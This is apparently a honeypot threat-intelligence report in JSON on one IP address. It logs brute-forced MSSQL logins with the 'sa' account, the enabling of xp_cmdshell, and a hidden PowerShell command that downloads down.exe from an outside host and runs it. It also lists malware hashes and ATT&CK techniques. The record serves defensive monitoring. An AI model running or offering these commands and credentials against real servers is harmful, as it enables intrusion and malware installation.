{"ip":"45.61.172.107","data_as_of":"2026-10-26T11:43:54+00:00","observed":true,"total_events":61,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 interactive login(s) succeeded","confidence":"high","network_type":null,"why":["2 interactive session(s) logged in successfully.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 61 event(s) from this address as well.","Not in any known-scanner range.","Sent 19,018 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"19,018 bytes sent","bytes_sent":19018,"session_seconds":22,"persistent":false},"basis":"interactive"},"first_seen":"2026-10-19T07:50:48","last_seen":"2026-10-24T11:41:05","events_24h":0,"events_7d":48,"interactive_sessions":2,"interactive_sessions_24h":0,"interactive_sessions_7d":2,"interactive_protocols":[{"protocol":"mssql","sessions":2}],"geo":{"country_code":"US","country_name":"United States","region":"Utah","city":"Ogden","lat":41.2219,"lon":-111.9631,"asn":14956,"org":"RouterHosting LLC"},"source_domain":"107.172.61.45.static.cloudzy.com","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"20983573b840447e1aacd6d3f6dd240732b15037d268d6456f0d3c4ec5051cb0","family":"tiny","vt_name":"down.exe","malicious":22,"total":75,"vt_status":"known","delivery":"interactive session","url_path":"","dest_port":1433,"hits":2,"last_seen":"2026-10-24 11:27:30"}],"udp":null,"interaction":{"window_days":90,"sessions":2,"first_seen":"2026-10-24T11:27:30","last_seen":"2026-10-24T11:41:05","verdicts":[{"verdict":"exploit-attempt","sessions":2}],"personas":[{"persona":"mssql@15.0.2000.5","sessions":1},{"persona":"mssql@15.0.4345.5","sessions":1}],"services":[{"protocol":"mssql","port":1433,"sessions":2}],"logins":[{"username":"sa","password":"ASD@123","password_sent":true,"service":"mssql-login","outcome":"success","tries":2,"last_seen":"2026-10-24T11:41:05"}],"commands":[],"downloads":[{"url":"[http]://ftp[.]vietnam852[.]com:88/down.exe","host":"ftp[.]vietnam852[.]com","sessions":2,"first_seen":"2026-10-24T11:27:30","last_seen":"2026-10-24T11:41:05","virustotal":{"sha256":"20983573b840447e1aacd6d3f6dd240732b15037d268d6456f0d3c4ec5051cb0","status":"known","malicious":22,"total":75,"name":"down.exe"}}],"files":[{"sha256":"bd4e1a557d9cf3fc7ba91bc61581586477b435dcfd366256da80420f6f0a07d5","name":"query","size":35,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:30","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"2d92e8e4870b1c5f747068b0742018a3dd20f399043e53bf9e0b95415a9a0554","name":"query","size":221,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:30","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"bf554281470001468d8cc945eb98083e6388e05caf2d2f25f9e055ba41c05157","name":"query","size":37,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"2c0e1fd642d78a66ef0bef66c41b83b2102abde77ffa47f91934241627f0a472","name":"query","size":48,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"41dc09ed57fdac8bc117e49deedc0e60d9fc9780c41687d5417ddd269e361bf9","name":"query","size":58,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"9a1bbfabd847fdd2fc9ca99afcca4be3ab2d7e529a30596eb98340a31fac72ae","name":"query","size":46,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"9dcf0dbc867104f594af9c8278893777377fb496cc4e613a3677a9ca68cd0df0","name":"query","size":13,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"f9101e74fc4dfd4604df4d20489b6cee3da64110203c8ad65201d6913f6653ab","name":"query","size":10,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"7944047c11520d7c5794dc09db7886dcb1a60a2e1537379f307f3adbee3a2457","name":"query","size":12,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:29","last_seen":"2026-10-24T11:41:05","virustotal":null},{"sha256":"c09d5bacaddb0a91c80eaff19872c993a393f0d94388600ca2d7999d7b6624e2","name":"query","size":237,"mime_type":"text/plain","kind":"mssql-query","times":2,"first_seen":"2026-10-24T11:27:28","last_seen":"2026-10-24T11:41:05","virustotal":null}],"attack":[{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":2},{"technique_id":"T1190","technique_name":"Exploit Public-Facing Application","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":2},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":2},{"technique_id":"T1105","technique_name":"Ingress Tool Transfer","tactic_id":"TA0011","tactic_name":"Command and Control","sessions":2}]},"top_ports":[{"port":6380,"proto":"tcp","label":"","count":41,"sessions":0},{"port":6379,"proto":"tcp","label":"Redis","count":15,"sessions":0},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":2,"sessions":0},{"port":1433,"proto":"tcp","label":"MSSQL","count":0,"sessions":2},{"port":8081,"proto":"tcp","label":"","count":1,"sessions":0},{"port":9080,"proto":"tcp","label":"","count":1,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":1,"sessions":0}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i311000_e8f1e7e78f70_d41ae481755e"],"tls_client_hello":"1603010200010001fc03032aafbaa96ca0eb70e4dcb380648c2b78bbf7c1694ffa9ea6ca1ff6e2f53e2ba320f554d5df09eb8710e129164646374dc76d9bd5b2a8c4b18839f509900a0e354f003e130213031301c02cc030009fcca9cca8ccaac02bc02f009ec024c028006bc023c0270067c00ac0140039c009c0130033009d009c003d003c0035002f00ff01000175000b000403000102000a00160014001d0017001e0019001801000101010201030104002300000016000000170000000d002a0028040305030603080708080809080a080b080408050806040105010601030303010302040205020602002b00050403040303002d00020101003300260024001d0020a216b7a0178506471c35b1e9283a80b5be66026d7ebcec729ebcbf90cd1c4739001500dc00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","tls_ja3":["c12b4ccd5320bbb380ca1a9df90f771d"],"http_akin":["b10cun040_00040015_4c87b06e"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i311000_e8f1e7e78f70_d41ae481755e":687,"b10cun040_00040015_4c87b06e":12},"akin_families":{},"user_agents":["Mozilla/5.0 (X11; Linux x86_64)"],"timeline":[{"date":"2026-10-19","count":13,"sessions":0},{"date":"2026-10-20","count":6,"sessions":0},{"date":"2026-10-21","count":42,"sessions":0},{"date":"2026-10-24","count":0,"sessions":2}],"recent_events":[{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000d\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000t\u0000a\u0000s\u0000k\u0000l\u0000i\u0000s\u0000t\u0000 \u0000/\u0000f\u0000o\u0000 \u0000c\u0000s\u0000v\u0000'\u0000","payload_hex":"01010064000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c00200027007400610073006b006c0069007300740020002f0066006f0020006300730076002700","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-23","seq":23,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9da9f55e9852d694","strings":["EXEC xp_cmdshell 'tasklist /fo csv'"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0001�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000p\u0000o\u0000w\u0000e\u0000r\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000-\u0000n\u0000o\u0000p\u0000 \u0000-\u0000w\u0000 \u0000h\u0000i\u0000d\u0000d\u0000e\u0000n\u0000 \u0000-\u0000c\u0000 \u0000\"\u0000(\u0000N\u0000e\u0000w\u0000-\u0000O\u0000b\u0000j\u0000e\u0000c\u0000t\u0000 \u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000C\u0000l\u0000i\u0000e\u0000n\u0000t\u0000)\u0000.\u0000D\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000F\u0000i\u0000l\u0000e\u0000(\u0000'\u0000'\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000f\u0000t\u0000p\u0000.\u0000v\u0000i\u0000e\u0000t\u0000n\u0000a\u0000m\u00008\u00005\u00002\u0000.\u0000c\u0000o\u0000m\u0000:\u00008\u00008\u0000/\u0000d\u0000o\u0000w\u0000n\u0000.\u0000e\u0000x\u0000e\u0000'\u0000'\u0000,\u0000'\u0000'\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000d\u0000o\u0000w\u0000n\u0000.\u0000e\u0000x\u0000e\u0000'\u0000'\u0000)\u0000;\u0000S\u0000t\u0000a\u0000r\u0000t\u0000-\u0000P\u0000r\u0000o\u0000c\u0000e\u0000s\u0000s\u0000 \u0000-\u0000F\u0000i\u0000l\u0000e\u0000P\u0000a\u0000t\u0000h\u0000 \u0000'\u0000'\u0000C\u0000:\u0000\\\u0000U\u0000s\u0000e\u0000r\u0000s\u0000\\\u0000P\u0000u\u0000b\u0000l\u0000i\u0000c\u0000\\\u0000d\u0000o\u0000w\u0000n\u0000.\u0000e\u0000x\u0000e\u0000'\u0000'\u0000\"\u0000'\u0000","payload_hex":"010101d8000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c002000270070006f007700650072007300680065006c006c0020002d006e006f00700020002d0077002000680069006400640065006e0020002d0063002000220028004e00650077002d004f0062006a006500630074002000530079007300740065006d002e004e00650074002e0057006500620043006c00690065006e00740029002e0044006f0077006e006c006f0061006400460069006c00650028002700270068007400740070003a002f002f006600740070002e0076006900650074006e0061006d003800350032002e0063006f006d003a00380038002f0064006f0077006e002e00650078006500270027002c002700270043003a005c00550073006500720073005c005000750062006c00690063005c0064006f0077006e002e006500780065002700270029003b00530074006100720074002d00500072006f00630065007300730020002d00460069006c006500500061007400680020002700270043003a005c00550073006500720073005c005000750062006c00690063005c0064006f0077006e002e006500780065002700270022002700","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-21","seq":21,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"81fc0d82f90919a7","strings":["EXEC xp_cmdshell 'powershell -nop -w hidden -c \"(New-Object System.Net.WebClient…"],"iocs":{"domains":["system.net.webclient"]}},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000h\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000 \u0000'\u0000e\u0000c\u0000h\u0000o\u0000 \u0000Z\u0000Q\u0000X\u0000J\u0000_\u0000P\u0000R\u0000O\u0000B\u0000E\u0000_\u0000O\u0000K\u0000'\u0000","payload_hex":"01010068000001001600000012000000020000000000000000000100000045005800450043002000780070005f0063006d0064007300680065006c006c00200027006500630068006f0020005a00510058004a005f00500052004f00420045005f004f004b002700","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-19","seq":19,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"26362cf27a4ceaf5","strings":["EXEC xp_cmdshell 'echo ZQXJ_PROBE_OK'"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000~\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000s\u0000p\u0000_\u0000c\u0000o\u0000n\u0000f\u0000i\u0000g\u0000u\u0000r\u0000e\u0000 \u0000'\u0000x\u0000p\u0000_\u0000c\u0000m\u0000d\u0000s\u0000h\u0000e\u0000l\u0000l\u0000'\u0000,\u0000 \u00001\u0000;\u0000 \u0000R\u0000E\u0000C\u0000O\u0000N\u0000F\u0000I\u0000G\u0000U\u0000R\u0000E\u0000;\u0000","payload_hex":"0101007e000001001600000012000000020000000000000000000100000045005800450043002000730070005f0063006f006e0066006900670075007200650020002700780070005f0063006d0064007300680065006c006c0027002c00200031003b0020005200450043004f004e004600490047005500520045003b00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-17","seq":17,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"808d76c803181891","strings":["EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000E\u0000X\u0000E\u0000C\u0000 \u0000s\u0000p\u0000_\u0000c\u0000o\u0000n\u0000f\u0000i\u0000g\u0000u\u0000r\u0000e\u0000 \u0000'\u0000s\u0000h\u0000o\u0000w\u0000 \u0000a\u0000d\u0000v\u0000a\u0000n\u0000c\u0000e\u0000d\u0000 \u0000o\u0000p\u0000t\u0000i\u0000o\u0000n\u0000s\u0000'\u0000,\u0000 \u00001\u0000;\u0000 \u0000R\u0000E\u0000C\u0000O\u0000N\u0000F\u0000I\u0000G\u0000U\u0000R\u0000E\u0000;\u0000","payload_hex":"01010092000001001600000012000000020000000000000000000100000045005800450043002000730070005f0063006f006e0066006900670075007200650020002700730068006f007700200061006400760061006e0063006500640020006f007000740069006f006e00730027002c00200031003b0020005200450043004f004e004600490047005500520045003b00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-15","seq":15,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"9f05d89e76c1630d","strings":["EXEC sp_configure 'show advanced options', 1; RECONFIGURE;"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0000z\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000S\u0000E\u0000L\u0000E\u0000C\u0000T\u0000 \u0000I\u0000S\u0000_\u0000S\u0000R\u0000V\u0000R\u0000O\u0000L\u0000E\u0000M\u0000E\u0000M\u0000B\u0000E\u0000R\u0000(\u0000'\u0000s\u0000y\u0000s\u0000a\u0000d\u0000m\u0000i\u0000n\u0000'\u0000)\u0000,\u0000 \u0000@\u0000@\u0000V\u0000E\u0000R\u0000S\u0000I\u0000O\u0000N\u0000","payload_hex":"0101007a0000010016000000120000000200000000000000000001000000530045004c004500430054002000490053005f0053005200560052004f004c0045004d0045004d0042004500520028002700730079007300610064006d0069006e00270029002c00200040004000560045005200530049004f004e00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-13","seq":13,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"de0bc19125c9824e","strings":["SELECT IS_SRVROLEMEMBER('sysadmin'), @@VERSION"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u00008\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000R\u0000O\u0000L\u0000L\u0000B\u0000A\u0000C\u0000K\u0000 \u0000T\u0000R\u0000A\u0000N\u0000","payload_hex":"01010038000001001600000012000000020000000000000000000100000052004f004c004c004200410043004b0020005400520041004e00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-11","seq":11,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"29491d0a3ecebea7","strings":["ROLLBACK TRAN"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u00002\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000B\u0000E\u0000G\u0000I\u0000N\u0000 \u0000T\u0000R\u0000A\u0000N\u0000","payload_hex":"01010032000001001600000012000000020000000000000000000100000042004500470049004e0020005400520041004e00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-9","seq":9,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"7897bb7889d971ed","strings":["BEGIN TRAN"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u00006\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000u\u0000s\u0000e\u0000 \u0000[\u0000m\u0000a\u0000s\u0000t\u0000e\u0000r\u0000]\u0000","payload_hex":"01010036000001001600000012000000020000000000000000000100000075007300650020005b006d00610073007400650072005d00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-7","seq":7,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"59edf41c13794507","strings":["use [master]"]},"interactive":true},{"timestamp":"2026-10-24T11:41:05","port":1433,"proto":"tcp","app_proto":"mssql","app_protocol":"mssql-tds","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\u0001\u0001\u0001�\u0000\u0000\u0001\u0000\u0016\u0000\u0000\u0000\u0012\u0000\u0000\u0000\u0002\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000S\u0000E\u0000T\u0000 \u0000A\u0000R\u0000I\u0000T\u0000H\u0000A\u0000B\u0000O\u0000R\u0000T\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000C\u0000O\u0000N\u0000C\u0000A\u0000T\u0000_\u0000N\u0000U\u0000L\u0000L\u0000_\u0000Y\u0000I\u0000E\u0000L\u0000D\u0000S\u0000_\u0000N\u0000U\u0000L\u0000L\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000N\u0000U\u0000L\u0000L\u0000S\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000N\u0000U\u0000L\u0000L\u0000_\u0000D\u0000F\u0000L\u0000T\u0000_\u0000O\u0000N\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000P\u0000A\u0000D\u0000D\u0000I\u0000N\u0000G\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000W\u0000A\u0000R\u0000N\u0000I\u0000N\u0000G\u0000S\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000A\u0000N\u0000S\u0000I\u0000_\u0000N\u0000U\u0000L\u0000L\u0000_\u0000D\u0000F\u0000L\u0000T\u0000_\u0000O\u0000N\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000C\u0000U\u0000R\u0000S\u0000O\u0000R\u0000_\u0000C\u0000L\u0000O\u0000S\u0000E\u0000_\u0000O\u0000N\u0000_\u0000C\u0000O\u0000M\u0000M\u0000I\u0000T\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000Q\u0000U\u0000O\u0000T\u0000E\u0000D\u0000_\u0000I\u0000D\u0000E\u0000N\u0000T\u0000I\u0000F\u0000I\u0000E\u0000R\u0000 \u0000O\u0000N\u0000;\u0000S\u0000E\u0000T\u0000 \u0000T\u0000E\u0000X\u0000T\u0000S\u0000I\u0000Z\u0000E\u0000 \u00002\u00001\u00004\u00007\u00004\u00008\u00003\u00006\u00004\u00007\u0000;\u0000","payload_hex":"010101f80000010016000000120000000200000000000000000001000000530045005400200041005200490054004800410042004f005200540020004f004e003b00530045005400200043004f004e004300410054005f004e0055004c004c005f005900490045004c00440053005f004e0055004c004c0020004f004e003b00530045005400200041004e00530049005f004e0055004c004c00530020004f004e003b00530045005400200041004e00530049005f004e0055004c004c005f00440046004c0054005f004f004e0020004f004e003b00530045005400200041004e00530049005f00500041004400440049004e00470020004f004e003b00530045005400200041004e00530049005f005700410052004e0049004e004700530020004f004e003b00530045005400200041004e00530049005f004e0055004c004c005f00440046004c0054005f004f004e0020004f004e003b00530045005400200043005500520053004f0052005f0043004c004f00530045005f004f004e005f0043004f004d004d004900540020004f004e003b005300450054002000510055004f005400450044005f004900440045004e0054004900460049004500520020004f004e003b0053004500540020005400450058005400530049005a004500200032003100340037003400380033003600340037003b00","method":"","user_agent":"","ja3":"","session":"ef661fb5-19ef-4edd-adfb-f64fff389e14-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"841771f2a6a416f2","strings":["SET ARITHABORT ON;SET CONCAT_NULL_YIELDS_NULL ON;SET ANSI_NULLS ON;SET ANSI_NULL…"]},"interactive":true}],"http_methods":[{"method":"GET","count":5}],"distinct_ports_total":7,"top_paths":[{"path":"/manager/html","count":5,"ports":4}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":null,"tags":[{"tag_id":"download","tag_type":"interactive","label":"download","title":"Named a file to download","sessions":2},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":2}]}